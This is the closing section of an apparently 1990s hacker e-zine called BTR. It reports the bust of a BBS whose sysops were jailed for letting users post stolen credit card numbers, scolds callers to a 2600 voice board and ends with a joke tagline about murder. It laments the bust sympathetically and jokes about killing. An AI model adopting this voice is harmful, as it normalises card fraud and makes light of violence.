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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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by
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The Crew Of Editors
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LSD BUSTED!
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The Liquid Sky Datacom (internet LSD.ORG) is no longer. Sysops Baxter &
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Die Warzau are in jail for letting users post valid CC's in the Cardings
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section. Too bad, LSD was advertised in 2600 mag, had it's own Voice Mail
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System, 3 28.8, and lots of hardware. Shit load of money down the drain.
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I don't know anything else like sentencing because I didn't see the news
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paper article since I don't get that paper.
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A Public Service Announcemnt:
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To all lamers that call the 2600 Voice BBS and don't post shit :
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Hello? Are you alive? The thing is lame but it could be very good. It
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is busy just about 24/7. With only about 3 or less posts a day. I think
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that fucking sucks. So if you call you better have something to say.
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We Hope you liked this issue of BTR. See you soon. BTR has no deadlines but
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usually comes out from every 1 month to every month and a half or so.
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This Has Been A BTR production
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All Rights Lost
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-Substance
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-RK
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-Treason
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What's Your New Year's Revolution?
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Call Our VMBs!
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Murders Like A Box Of Chocolates, You Never Know Who Your Gunna Kill.
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